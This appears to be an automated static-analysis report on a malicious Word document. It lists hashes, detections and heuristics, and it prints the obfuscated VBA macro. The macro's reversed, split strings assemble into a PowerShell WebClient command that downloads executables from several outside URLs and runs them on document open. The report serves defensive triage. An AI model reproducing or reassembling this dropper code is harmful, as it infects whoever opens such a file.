Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5e098be35330764…

MALICIOUS

Office (OLE)

165.0 KB Created: 2018-05-07 11:56:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: adf67702fe38edf540c61df8dc6c8219 SHA-1: 7ffe26ffb8c168a5e3b958131734d30740cf5eaa SHA-256: d5e098be35330764856a96adc238398af65c5414459c8ca3bbee8c4deff59e46
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. Heuristics indicate the presence of a potential Shell call within the VBA code and a legacy WordBasic AutoExec marker (Autoopen). The ClamAV detection 'Doc.Dropper.Agent-6533889-0' further confirms its malicious nature. The VBA macro 'macros.bas' is likely responsible for downloading and executing a second-stage payload, as suggested by the 'OLE_VBA_SHELL' heuristic.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6533889-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6533889-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Line #20:
'  Ld Shell
'  Ld Chr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 147389 bytes
SHA-256: 43fc8d833050d3d1ff70c9e0b4265118735e91e2c195f18242c1169492f7b352
Detection
ClamAV: No threats found
Obfuscation or payload: likely
710 of 1209 identifiers look randomly generated (e.g. 'XEUE4CqVqBjnTGAfUiSzn'); 111 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wrQXOmivkYFzp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub BzkMfC(ciuCEs)
Set wvKoC = jquQUh
zSQkzr = IzEBlr
BAjXln = UHlwR + Atn(SKETrz) + 19493 - 61678 / (19079 * Hex(JCNwM))
rJCKGi = 80726 + tjuld
End Sub
Sub ioiHd(vlKohw)
Set mWUXqu = PcuHd
UpaHDY = wiVUF
OAGzO = JnCrYL + Atn(qFwCt) + 51981 - 57517 / (80142 * Hex(GKCkIu))
EBzRXj = 43890 + dfiUA
Set zBwAi = Bjbtcd
uvwiTP = wqYtfJ
mZNwJp = IJGja + Atn(rXaGpu) + 91870 - 53976 / (27231 * Hex(BKFHSH))
CUYNPG = 25745 + SoZmmp
Set tRBaQS = lOGYs
mEisB = EPBkcR
JXGWp = rHQnFr + Atn(KwjKGr) + 27278 - 2509 / (20202 * Hex(GjlFl))
rhZJDJ = 62837 + rRwBEV
End Sub
Sub cAKWG(rdlCLw)
Set zpEWG = ZFfinA
ETpuM = owdfbj
wAEoGr = XfBMZ + Atn(bwLwSW) + 41344 - 78425 / (53597 * Hex(oqqOJ))
WKdmb = 58584 + Brbvq
Set YRcURW = kjNENq
cQzQd = JIrjn
wXKFr = fuCGLV + Atn(sQcpz) + 47645 - 48119 / (71519 * Hex(wltKS))
kQathz = 48869 + abWii
End Sub
Sub Autoopen()
On Error Resume Next
Set TWEcsl = hTuKOi
bYMjIq = mfRoa
vBObu = pnajRS + Atn(ECwjjT) + 28658 - 70087 / (88954 * Hex(OpWrl))
qnoRSo = 62439 + TPXtB
llntqwANwip (ruNbl + KwtIbvZOY + qziUL)
Set BzzlYw = GjtdB
QWsMT = VjtKUc
GiqqFT = jnhEh + Atn(YpuRwR) + 23368 - 23435 / (41160 * Hex(zmOYqz))
ofJds = 48563 + toJwf
End Sub
Sub onfcXj(bLCQik)
Set tDqvPk = sZYNjQ
XKIQjs = JHlAKK
cdtuHf = pzNhu + Atn(wOGOqP) + 20881 - 7321 / (3354 * Hex(zBswjv))
uEawP = 91396 + TZkHhM
Set jmuAuB = Juzcb
tsPjnu = ScUwjT
vRfDVp = QPzwou + Atn(kKaWoL) + 73621 - 50185 / (19163 * Hex(UnUbG))
vTbab = 84765 + vGmlc
Set RmwAKi = tcsHo
HdjiU = KwBdM
GsuiP = aJwsP + Atn(nKtoX) + 36967 - 52113 / (38418 * Hex(FklMYR))
SiPIl = 63413 + pXONq
End Sub
Sub iYPOOv(cVbiC)
Set hBIJSr = LrScGj
GERIG = mHhUWw
HlzDjG = zChNwW + Atn(VnGmI) + 59168 - 78973 / (6630 * Hex(DScRG))
TnnUNd = 49241 + OvzqGE
End Sub

Attribute VB_Name = "DMkfQUaiOT"
Sub DNtkEp(ZitabI)
Set wsrqIo = wBAGsl
GtFYBZ = MBdrK
hWddk = DUbjsF + Atn(FEMtiM) + 6324 - 93791 / (37193 * Hex(oBaiCk))
NwwkBc = 44923 + WQiVi
End Sub
Function KwtIbvZOY()
On Error Resume Next
Set NTVTV = IzfHH
jpbJt = kjVtH
EcoWHv = bofai + Atn(OhjjO) + 37841 - 82387 / (55261 * Hex(vhvNWj))
uoUMaP = 86159 + mrjmf
Set KzZzHb = DuTIuI
bjrnS = lAXkVa
IDQuKu = TzIjKw + Atn(PkfWL) + 47122 - 22760 / (79779 * Hex(LSqBu))
cpihr = 36111 + iYwAjp
PBudPTUtD = AmFvzi("aYDa5t'+'SoTS7j.cfsaMT'+'2(S7jelWvRIFdaOWvRlnWW'+'vRoD'+'S7j.UYYMT8kK", 46069 - 46069 + 4 + 46069 - 46069, 46069 - 46069 + 61 + 46069 - 46069)
Set aHcUiV = rNJBX
uFcUt = JXTFdG
QFHYLr = NiDpW + Atn(YskbV) + 60747 - 38063 / (33 * Hex(ZviHz))
FHBzNv = 10752 + kpwJC
Set AapKk = hNZDZq
DFzHYL = bCffKE
GQbVYi = RlHaO + Atn(IrPfN) + 27848 - 70476 / (46487 * Hex(uLkpW))
wuKAjM = 52251 + ziBIFm
RwjNCZQk = AmFvzi("ck3FN+3FNen3FN('+'. = UYYMT2;'+'modna'+'r )3FNt3'+'F8@tn1", 10343 - 10343 + 6 + 10343 - 10343, 10343 - 10343 + 50 + 10343 - 10343)
Set qjJCi = mASwTC
WQkiLb = qzaiz
vSzLGi = vEibno + Atn(LurDM) + 20175 - 69918 / (50703 * Hex(zTwiTd))
GbFBoT = 5198 + qoQvR
Set DKpUjj = LBfiNn
vcTZI = zHoqz
ErskZO = EoFPzd + Atn(wvKMh) + 9028 - 92769 / (25250 * Hex(IDOmq))
wVwXjf = 9044 + RGPSj
ptnaSrWTw = AmFvzi("m0W3'+'FN@3FN(tilpS'+'.3FN'+'/dtVVs/m0,bv", 73781 - 73781 + 5 + 73781 - 73781, 73781 - 73781 + 34 + 73781 - 73781)
Set pNTwvc = wcJsA
fjjKcE = rkQct
sbtGRm = dVukS + Atn(Nhztpf) + 67277 - 78478 / (47958 * Hex(lvmNOr))
zqDNk = 49820 + VrGnM
Set bzWJL = BMlrE
WCnat = vEtsW
DNkcDi = TnpQCG + Atn(CFuHsj) + 20320 - 30186 / (65476 * Hex(fjksai))
jctGz = 78714 + JCKlN
CozlroMK = AmFvzi("dic9q'+'o'+'c.'+'anicileyu'+'b//:ptth'+'@/'+'sYjn/mo'+'c.'+'on'+'abrula'+'usiv/'+'/'+':pt'+'th@/8lgMSUR", 19072 - 19072 + 3 + 19072 - 19072, 19072 - 19072 + 96 + 19072 - 19072)
Set mkUuGq = mAqSn
qzWwot = ihZMs
QVzpV = BBHvM + Atn(lkYYim) + 53062 - 35703 / (35021 * Hex(bmEVsI))
FKICB = 48282 + oKUtli
Set qHzwW = IjIUZA
jZjBVj = DYsim
cbkDa = vsFOa + Atn(fFqTN) + 28905 - 31639 / (63848 * Hex(jiPMK))
HBSORM = 14745 + jwEuP
UzMPEt = AmFvzi("oKiiSb%g/moc.ymeda'+'ca'+'sdl'+'ihca//:ptt'+'h@/'+'5dV'+'i'+'/'+'moc.sm'+'ae'+'ZQ", 66986 - 66986 + 3 + 66986 - 66986, 66986 - 66986 + 72 + 66986 - 66986)
Set taKFi = iYjLdR
DszUq = kornz
KYtJU = UBcRJ + Atn(KhVwi) + 33409 - 13561 / (71661 * Hex(HESjiO))
fPCnLv = 38823 + lPOCI
Set fDmPL = wGBcdv
oOvVj = ItOVE
KJrwRU = SNPMj + Atn(KRzkbL) + 87692 - 62632 / (55624 * Hex(KFXlzh))
RiilB = 39363 + KjHcc
ZhbDKA = AmFvzi("rsu2'+'{yrt{)XCDA'+'MT2 '+'ni c'+'f'+'saMT2(hcaerof;)'+'3FNe3'+'F'+'N+3FNxe.3F'+'N( + BSNMT2'+' +'+' 3FNNpP3'+'F'+'N + cil'+'bup:vne'+'MT2 = '+'CD'+'SMT2'+';'+')O 5", 31830 - 31830 + 4 + 31830 - 31830, 31830 - 31830 + 158 + 31830 - 31830)
Set ZCMWZH = JmJLz
VhqtjD = BzdBNI
uarDRD = NHtAMq + Atn(CiYWn) + 37842 - 97264 / (45421 * Hex(pYYru))
ZKJQJN = 66840 + GttAHa
Set iOBHVV = srqcM
VEHua = bSZjfD
DRrmz = wXriN + Atn(FKilrz) + 46926 - 37579 / (32834 * Hex(UdLDDG))
FiWDQ = 35641 + BEsKO
XMkjFq = AmFvzi("OrU9A)3FVi", 94917 - 94917 + 3 + 94917 - 94917, 94917 - 94917 + 3 + 94917 - 94917)
Set iauzVU = jhiGkn
wNbuO = zlwqro
fkmENF = IujLhi + Atn(rXzQT) + 56324 - 3736 / (11645 * Hex(czwWhs))
EIjcNv = 90537 + tiDICi
Set BTiSLw = zvsYBR
zYpNN = GbAkrR
ozZFX = FzthI + Atn(NucHr) + 24373 - 88457 / (9639 * Hex(zwMcQt))
ZTubuo = 5745 + VmBwLM
zlkKtuEut = AmFvzi("@.Mb3LN+3Fn0f", 31373 - 31373 + 4 + 31373 - 31373, 31373 - 31373 + 4 + 31373 - 31373)
Set rhuAz = UIXzMf
BNcHLi = amjYY
dlFLzt = rGiiP + Atn(vFKWdh) + 18427 - 23639 / (94826 * Hex(Jukho))
EAVcFB = 67421 + MzTNz
Set OjhaPY = AOtHL
KVjwu = aJhZC
HsCZjs = dvdYAd + Atn(QfGrf) + 41821 - 13728 / (90444 * Hex(iAPwE))
jhGffI = 60758 + ahANh
qBUaCiHfTIF = AmFvzi("J@wC0%V[((ecAlPEr.)'\',)87]RaHC[+211]RaHC[+08]RaHC[((ecAlPEr.)'$',)77]RaHC[+48]RaHC[+05]RaHC[((ecAlPEr.)69]RaHC[]gnirTs[,'WvR'(ecAlPEr.)93]RaHC[]gnirT@f", 90242 - 90242 + 3 + 90242 - 90242, 90242 - 90242 + 143 + 90242 - 90242)
Set jwjUlt = CpujnM
UZQto = LwRUwB
RjKiHZ = mlTvM + Atn(khsMz) + 83617 - 91227 / (12005 * Hex(BQHZjQ))
fLVkId = 43302 + QYOumj
Set fRKwZ = ScClE
jfwwW = OTpRv
ZSoJmw = EdOwf + Atn(FAEAOG) + 17690 - 48570 / (90924 * Hex(kjAaRE))
jOVaYH = 26197 + qGiAf
zwQmN = AmFvzi("D%qr'+'d-deifilpma/'+'/:ptt'+'h '+' 3FN = XCDA'+'M'+'T2;)33'+'12'+'82'+' ,00001(txen.dsa'+'dasnMT2 = B'+'SNMT2;tneilCbeW'+'.te'+'N.metsyS'+' bsO", 10495 - 10495 + 4 + 10495 - 10495, 10495 - 10495 + 138 + 10495 - 10495)
Set jTNQV = TaKmL
qDZlVl = iijJLj
rqYzaZ = GDQnJ + Atn(ubFDiO) + 89033 - 31069 / (18971 * Hex(EkzAzm))
JBkbSd = 3901 + MmPjz
Set bWqbVv = PiQQbs
nSilbi = qANtTF
kWGCb = MzmhCt + Atn(EYhGB) + 40856 - 11607 / (66396 * Hex(sXOvu))
VdhCpb = 59293 + JOALY
zCJPjP = AmFvzi("kpNtc'+'ejb'+'o'+'-3'+'FN+'+'3FNwEcE1", 15962 - 15962 + 5 + 15962 - 15962, 15962 - 15962 + 31 + 15962 - 15962)
Set jBjiOj = THswz
Zdinfm = cJzADo
MXsBJ = tiqojh + Atn(SBVpE) + 79740 - 95277 / (9978 * Hex(aaVZwN))
BiiaH = 9330 + OqoSkv
Set VwTmWT = FLnKpH
zsNij = RFiFYF
qkwBTk = TwVTV + Atn(HPUZWB) + 42248 - 82139 / (73494 * Hex(lfEFc))
UONQs = 95233 + OmqFw
hfRrhHcEjAi = AmFvzi("FBhs[,)15]RaHC[+07]RaHC[+87]RaHC[((ecAlPEr.)'}}{hctac};k'+'aerb;'+')CDS'+'MT2()3FNme'+'tI-e3FN+3'+'F'+'Nk'+'3F'+'N+3F'+'NovnI3'+'FN(&;)CDS'+'MT2'+' ,)'+'('+'S7jgNWv'+'RiW'+'vR'+'r'+'iDaU", 74986 - 74986 + 5 + 74986 - 74986, 74986 - 74986 + 179 + 74986 - 74986)
Set wXtJj = BkEiWj
EMLVPf = CiGGEG
uGmjw = pnArW + Atn(UafPf) + 82144 - 63353 / (15284 * Hex(IDQbaN))
UQnEZa = 14109 + SCaKuQ
Set NvfjW = zZBfMW
fWUjp = PGorZj
WhIscz = ojfjwX + Atn(swQSmi) + 55432 - 15055 / (34491 * Hex(UfGrIY))
FDhOP = 31407 + COdUv
MaZhwwwo = AmFvzi("pc ))43]RaHC[]gnirTs[,)38]RaHC[+55]RaHC[+601]RaHCcAIr", 22192 - 22192 + 5 + 22192 - 22192, 22192 - 22192 + 47 + 22192 - 22192)
Set llRUWK = YnBMO
LXwrC = LbdvpR
fHPYBI = bMjOm + Atn(wzfSB) + 41098 - 385 / (718 * Hex(lGXbo))
PHqbDt = 58488 + JOADC
Set zfwJQ = WqZhXi
Bcwnt = vpCETA
VPiuXX = kwQYwz + Atn(CQTVvh) + 12096 - 47343 / (16165 * Hex(sSIwTu))
dJjRGL = 59921 + AwcCL
PEosmTvDPf = AmFvzi("jr1,L'y'+'PCSjcB", 77740 - 77740 + 4 + 77740 - 77740, 77740 - 77740 + 8 + 77740 - 77740)
Set rwEsY = iYSdwH
CFOqRE = vmRYwE
MuldVz = BVEDu + Atn(sFqCV) + 99322 - 36878 / (55802 * Hex(mGKwV))
EffvUu = 42848 + hAaKiA
Set oYzIrh = HFUqH
Ybrqqd = YUDSsl
botBn = uPUnVF + Atn(UGirTz) + 3334 - 21208 / (21895 * Hex(TpnIZU))
fPGhf = 36492 + TCdAJ
NuviiLMYDkX = AmFvzi("MGssvt/mo'+'c'+'.'+'troyhcotegamoh//:pt'+'th@/Vd'+EMZ", 68222 - 68222 + 4 + 68222 - 68222, 68222 - 68222 + 46 + 68222 - 68222)
Set EUkib = mLwsj
QzaLzU = vzIFz
onWYQ = BBEkz + Atn(FhHhJ) + 62839 - 44382 / (43363 * Hex(PTlIDI))
NHvOlT = 74060 + QnhWin
Set QaODs = njUFK
iRlzir = FpiUOA
iDvrzU = ruEIQQ + Atn(LhFlc) + 38594 - 19027 / (38273 * Hex(XwrML))
mGADOa = 70946 + dIqIqX
lOnkwDDiNK = AmFvzi("ET4mjVNce'+'jbo-w3FN+3'+'FNe3FN+3F'+'Nn3FN('+'& = d'+'sadasnMT2'( ()''NiOJ-]2,11,3[emaN.)'*rDM*' ElBAIraV((. acK", 22651 - 22651 + 4 + 22651 - 22651, 22651 - 22651 + 103 + 22651 - 22651)
Set pNaVuH = jmjTL
XsFIUK = wINBf
vcdmLS = iilQqQ + Atn(NXNWv) + 30239 - 87129 / (26582 * Hex(CinjPi))
zYqUMw = 11586 + VAOMp
sjGLjLDrDlkaht = pRDluaur + """" + PjhraEX
KwtIbvZOY = vBTBJOQoQY + hwBlsAwMRRNB + XUITmBNMWk + sjGLjLDrDlkaht + BjYdNQkuUHlIRa + lOnkwDDiNK + zlkKtuEut + RwjNCZQk + zCJPjP + XMkjFq + zwQmN + UzMPEt + PEosmTvDPf + NuviiLMYDkX + CozlroMK + ptnaSrWTw + ZhbDKA + PBudPTUtD + hfRrhHcEjAi + qBUaCiHfTIF + MaZhwwwo
Set iEfvzO = QnVwRH
dJjqL = AJNNn
rMpQda = IiMmR + Atn(jTQkI) + 31847 - 97121 / (55638 * Hex(rzFRG))
nVqRI = 18248 + UbXrW
End Function
Sub BPtEi(AAHZQ)
Set RjHau = nqtrG
iwoYz = kEwOu
CIrMk = juwIwM + Atn(LwKwp) + 60409 - 17973 / (16077 * Hex(afjbD))
pLVClo = 45984 + jbFzLM
Set VAbUl = ZFHil
fiLjI = vFkmva
nKdXj = wwzEfE + Atn(RKPGO) + 38692 - 309 / (59496 * Hex(EVuzIP))
piEAF = 96224 + wiXCn
End Sub

Attribute VB_Name = "hdjcBZkpd"
Sub aaqfbQCwlUS()
On Error Resume Next
Set bakuG = cmXip
WaDCT = TXqRMR
aoSwi = QLJdaU + Atn(InFlf) + 8324 - 46562 / (48940 * Hex(FYwGp))
GiKNT = 68126 + UJqoEY
End Sub
Function XUITmBNMWk()
On Error Resume Next
Set MzdhQm = REmIsl
itzco = FbTMBT
Twvqzz = uIvQqC + Atn(odYFaz) + 22193 - 72175 / (30853 * Hex(MPiqld))
fwJMV = 17488 + ItIZZw
Set JiHlhj = DvrCZ
wVwiMi = avZwsk
HJsXi = AqoBb + Atn(DDCEDz) + 57024 - 79347 / (10459 * Hex(ZZrEw))
OEKsz = 21968 + uCTTS
PBudPTUtD = AmFvzi("aYDa5tpBzjr8kK", 35577 - 35577 + 4 + 35577 - 35577, 35577 - 35577 + 6 + 35577 - 35577)
Set GjuGla = YrVwOu
rjTji = sckqi
stHCkf = rwjiS + Atn(dKjXi) + 26297 - 57522 / (5382 * Hex(SKjnpK))
iwDYH = 65656 + QolRDD
Set vsBZSJ = wMIUXj
rcalli = CqtpE
DclEb = dAach + Atn(uksKw) + 23040 - 12211 / (91023 * Hex(XPKzOJ))
sCIjNo = 88199 + bDtJC
RwjNCZQk = AmFvzi("ckBESVsUU=%8@tn1", 31518 - 31518 + 6 + 31518 - 31518, 31518 - 31518 + 9 + 31518 - 31518)
Set Rztbqu = rthjJ
fMaFME = IYTzwF
VjsSws = GPRXXO + Atn(BJbAD) + 99597 - 27504 / (19553 * Hex(whFIa))
jvilEq = 14367 + OnQqY
Set sazCjw = GHiBW
iRFoi = Dbqlu
YGOjh = jfbkVj + Atn(bQPit) + 93038 - 79953 / (82631 * Hex(wSAII))
pCCpDv = 21053 + JaatUq
ptnaSrWTw = AmFvzi("m0WKEWC=%zP0,bv", 93746 - 93746 + 5 + 93746 - 93746, 93746 - 93746 + 8 + 93746 - 93746)
Set zvWXCj = swpFQV
wfYji = ZijjVQ
GITDUz = AXilGO + Atn(JFzzf) + 79045 - 64328 / (25092 * Hex(BMmBCP))
pClIj = 70677 + lkQuIY
Set VMqiBS = LwYBY
IhEvuo = mnbvh
Fpmji = pijsYj + Atn(jwJbIS) + 64250 - 73624 / (92964 * Hex(LorJL))
ikuBzM = 57299 + RqaiC
CozlroMK = AmFvzi("dic9qtes&&s=UR", 1963 - 1963 + 3 + 1963 - 1963, 1963 - 1963 + 7 + 1963 - 1963)
Set pfMFH = cLTcz
JSasq = djAId
rUVkKS = wjXijc + Atn(BvSWRS) + 2757 - 62890 / (5235 * Hex(zZzIF))
YjCiN = 74506 + rBAkBh
Set PELnA = uOUEi
sicrpr = snLlP
QqTCa = KKlBjX + Atn(RHGUWE) + 85832 - 93841 / (78076 * Hex(YrpkGz))
DSvajh = 51154 + tOXVG
UzMPEt = AmFvzi("oKiiSb%sthMo%ZQ", 73883 - 73883 + 3 + 73883 - 73883, 73883 - 73883 + 6 + 73883 - 73883)
Set tTOZJl = pjWQc
uLkEE = CzRcA
ajJcpV = hwfXbK + Atn(MQOlZK) + 13783 - 39110 / (61468 * Hex(IKSIEj))
rNsjFJ = 23274 + BpuQOn
Set BHKjZw = BGEFoO
mTKKC = bWCWv
NFpCQ = aMtYV + Atn(FWSAc) + 86788 - 29694 / (53182 * Hex(wYtzjp))
HiEooT = 71248 + LDnCNC
ZhbDKA = AmFvzi("rsuvhIHO 5", 17209 - 17209 + 4 + 17209 - 17209, 17209 - 17209 + 4 + 17209 - 17209)
Set OwJEj = buJHTc
jwFkN = EOThNl
boYFMO = cKuobJ + Atn(fkvjU) + 82534 - 39448 / (18614 * Hex(wDplw))
uRvTu = 18128 + VDuFCn
Set CwtNp = jLfTqN
PQjpKv = IuLpBZ
uMBEt = UXTNKi + Atn(GAzvq) + 2250 - 82586 / (82262 * Hex(wVhMp))
IkELQR = 79969 + iPzbRs
XMkjFq = AmFvzi("OrU9APMuVi", 43335 - 43335 + 3 + 43335 - 43335, 43335 - 43335 + 3 + 43335 - 43335)
Set SfbfpI = QwAiba
fWhwV = iIwSw
BVjsZ = wWfqF + Atn(AqOUFL) + 64957 - 79984 / (28638 * Hex(wsQiwd))
KjJhY = 14013 + jGaJd
Set MrJOR = ZFrlp
FsEPq = GMOVRW
qNdjf = iQSUQm + Atn(NwdODZ) + 75110 - 64928 / (93381 * Hex(raVhF))
zqamK = 52119 + vZLvH
zlkKtuEut = AmFvzi("@.Mb3L&&eh=%PdZUINDbEn0f", 7581 - 7581 + 4 + 7581 - 7581, 7581 - 7581 + 15 + 7581 - 7581)
Set nXods = IjARr
VtulFK = dQUdq
nmphps = fcIvDz + Atn(PzQzYi) + 5000 - 78237 / (64094 * Hex(KTBmi))
TuziEf = 36385 + KZMDt
Set JmjzQ = wpBUA
LkzFL = DiBSik
LUwIAj = CozPA + Atn(olBOGp) + 89748 - 74670 / (22748 * Hex(GsidM))
SrDzS = 10578 + wjAknU
qBUaCiHfTIF = AmFvzi("J@wC0%VzM@f", 70780 - 70780 + 3 + 70780 - 70780, 70780 - 70780 + 2 + 70780 - 70780)
Set kiEZu = hmLsp
zFsQSG = zVILA
jEDhF = GSpiX + Atn(IitWjf) + 22316 - 20120 / (50588 * Hex(bFQhi))
UAcXEG = 21296 + dEFni
Set cBdUp = vMorMM
ZbRtP = HHzzw
UzHTK = sdVtXq + Atn(TJfYZ) + 21218 - 28133 / (3410 * Hex(ICvjl))
izfEj = 39555 + qosdK
zwQmN = AmFvzi("D%q%hTVfaOqQ%bsO", 49397 - 49397 + 4 + 49397 - 49397, 49397 - 49397 + 10 + 49397 - 49397)
Set iDfDa = vwciY
iwArEY = vfzWOS
EwSqj = AuTQcw + Atn(PpNCQ) + 13392 - 36105 / (96461 * Hex(TwjTD))
ojjRl = 30920 + zflCc
Set JAbATZ = mZuhd
jflOhu = HihTBp
bBqjW = wrDQzq + Atn(OsShlY) + 91765 - 23289 / (8372 * Hex(jSizpa))
IwiCu = 70550 + LKjzrc
zCJPjP = AmFvzi("kp !EcE1", 72312 - 72312 + 5 + 72312 - 72312, 72312 - 72312 + 2 + 72312 - 72312)
Set PrHXO = zhdtL
KGRoz = QjIAL
TIjWar = UbXUbb + Atn(bKUaVl) + 83282 - 44364 / (50965 * Hex(uVjoat))
OfVDG = 62802 + Gluqvn
Set SwEpSF = DOLIJ
RusFSn = ikdIc
jhYIw = CfdPY + Atn(uqiqHj) + 17539 - 27301 / (96047 * Hex(JhwNiX))
hTwNOW = 47063 + FOwHUo
hfRrhHcEjAi = AmFvzi("FBh!iDaU", 74251 - 74251 + 5 + 74251 - 74251, 74251 - 74251 + 1 + 74251 - 74251)
Set TXXwps = uzOGGX
Jjdfkw = cVfUGK
VMGdo = NbplhB + Atn(YwwIP) + 1644 - 77275 / (92198 * Hex(Sbjshr))
scjhc = 48712 + HcSsdh
Set FQSOw = NBGnrc
jkswiO = wicXan
GzMVwh = KIBSr + Atn(jKlTcZ) + 18252 - 23986 / (6206 * Hex(zwXlJ))
ounLAG = 3689 + RuviZc
MaZhwwwo = AmFvzi("pc=%icAIr", 88856 - 88856 + 5 + 88856 - 88856, 88856 - 88856 + 3 + 88856 - 88856)
Set fnfwot = vBdND
PYYwwk = Gific
rBhif = aaRJrm + Atn(jfzmh) + 74132 - 5643 / (36525 * Hex(tWzhoI))
BHzWfC = 15364 + XwacI
Set prNzO = ssUAn
jXikQ = wQCzUL
HjvSz = LWjDJ + Atn(KDbVu) + 46291 - 71683 / (73313 * Hex(lFjwjm))
NTrXBw = 13851 + zZXqcA
PEosmTvDPf = AmFvzi("jr1,L%YOZvbItwK%!jcB", 96195 - 96195 + 4 + 96195 - 96195, 96195 - 96195 + 12 + 96195 - 96195)
Set UZWFp = vIZjZ
VaOTN = iJNLl
LwAYU = vJuil + Atn(cdzJR) + 19824 - 35377 / (77566 * Hex(smAiGJ))
zrqIn = 16692 + sWXoYn
Set FNdzJ = PMuMp
YGAms = WtDFQs
oYiScQ = TGozK + Atn(qATjm) + 74936 - 13978 / (34837 * Hex(EndGr))
qwzwk = 1591 + zhuSv
NuviiLMYDkX = AmFvzi("MGssAEMZ", 30420 - 30420 + 4 + 30420 - 30420, 30420 - 30420 + 1 + 30420 - 30420)
Set oRRCb = jWaTT
libTup = ZLcIo
ZYWCl = Urrdvm + Atn(BnHsQi) + 61763 - 36370 / (98521 * Hex(tdmFv))
EMJdB = 3265 + NToiwm
Set QFoQY = KdmHH
wlVYC = WhrQEt
FKVST = NzFTnj + Atn(OoMQz) + 40901 - 38546 / (73833 * Hex(vtETo))
kJABvz = 36814 + pLSjtP
lOnkwDDiNK = AmFvzi("ET4mjVwIptj=%AacK", 88669 - 88669 + 4 + 88669 - 88669, 88669 - 88669 + 8 + 88669 - 88669)
Set SiosQh = bSiZi
PcNAmX = vTloK
wXEioa = idKPb + Atn(IPihS) + 42549 - 40128 / (70578 * Hex(MzStWz))
wzAiUj = 94038 + ntwHD
Set zRjhA = NjvRac
MirRNU = RhUln
hiXII = wMVpUB + Atn(RcAFaT) + 35489 - 99559 / (32920 * Hex(XqFviF))
wztjM = 66376 + nJrdP
qjaDXjUUh = AmFvzi("YpLM&&ll=%hTVfaOqDfv", 72595 - 72595 + 4 + 72595 - 72595, 72595 - 72595 + 13 + 72595 - 72595)
Set sWPhCq = buRVQ
fzSDn = GDtWI
FtrSRc = jaGBaX + Atn(noqBjY) + 36656 - 92547 / (5643 * Hex(UFDJJ))
zzHlww = 48562 + dpjjp
Set suiJlY = FbpfE
NDjIo = voJjQj
TrjwAX = UEiOpE + Atn(INYCLw) + 3558 - 18116 / (32937 * Hex(JNtRJ))
OOZrEf = 48710 + pIPqIY
DHVqf = AmFvzi("nnVc.jes&&p=%MQjjA", 48566 - 48566 + 3 + 48566 - 48566, 48566 - 48566 + 10 + 48566 - 48566)
Set SkLma = dFlrKZ
ondYKV = AQMYd
vMCiKA = nqdiii + Atn(kIoAuF) + 97404 - 77450 / (4396 * Hex(rjnIRC))
mJmpR = 5253 + jJhmz
Set IzOtnj = ZMbbSn
vhniXZ = PnkUNl
RoqQb = oSuLMq + Atn(pzKNZG) + 47874 - 65474 / (68217 * Hex(FWBwsJ))
YZwhIY = 70749 + qpmdm
wUHCj = AmFvzi("hRsUzj% tes&&EwwOzUjK,", 19192 - 19192 + 5 + 19192 - 19192, 19192 - 19192 + 15 + 19192 - 19192)
Set WhtKQc = vGMki
ktazw = Rnmrw
baCiRl = zCjoH + Atn(chGcTm) + 93407 - 49604 / (26835 * Hex(SQpqU))
pjpuc = 78150 + UNpaf
Set VzYrT = kOUqMC
URjVj = wHriq
jkaqHC = BOZPG + Atn(oMQrl) + 18921 - 38231 / (87439 * Hex(ZXNPm))
cOiThu = 70042 + JYMnsB
GirzhE = AmFvzi("biz,Fiaq9", 71341 - 71341 + 7 + 71341 - 71341, 71341 - 71341 + 1 + 71341 - 71341)
Set vBZSrz = QFUWDJ
DcsPX = zvwZI
OGSZV = smdWnz + Atn(wuwYzK) + 84251 - 50988 / (72796 * Hex(vUYVc))
zFAJmk = 53819 + fwvLXh
Set AuzEp = SAYlf
JERri = kzLmIi
BMuGid = CHBNN + Atn(WdLwa) + 97476 - 90608 / (46413 * Hex(LOChh))
CwOlQV = 76838 + XtuHV
drztLP = AmFvzi("mGtXhiic", 63589 - 63589 + 6 + 63589 - 63589, 63589 - 63589 + 1 + 63589 - 63589)
Set BDEiTO = nPMKn
kBjDz = hALmbw
iRoCfq = ZPHKY + Atn(SWOjC) + 52329 - 56518 / (22075 * Hex(KrpzL))
wqQchi = 60493 + zNjTNk
Set HONLFb = nANTYT
RlPjVL = ArBQjL
BrZzbs = uipjN + Atn(CdHqq) + 49492 - 29824 / (71604 * Hex(avhKE))
XMvVQ = 65641 + InWwbT
bLIIfowT = AmFvzi("naaKVTGwHjOkDk", 40903 - 40903 + 2 + 40903 - 40903, 40903 - 40903 + 7 + 40903 - 40903)
Set DZzHq = XjKZJw
pQiPR = NXVuNz
QUTUuw = OIAzZT + Atn(joBVM) + 38793 - 39541 / (92905 * Hex(JGfnGz))
fkKEaC = 29927 + fLzzhQ
Set Pijdj = TjZBK
HhJpAZ = FEYjZp
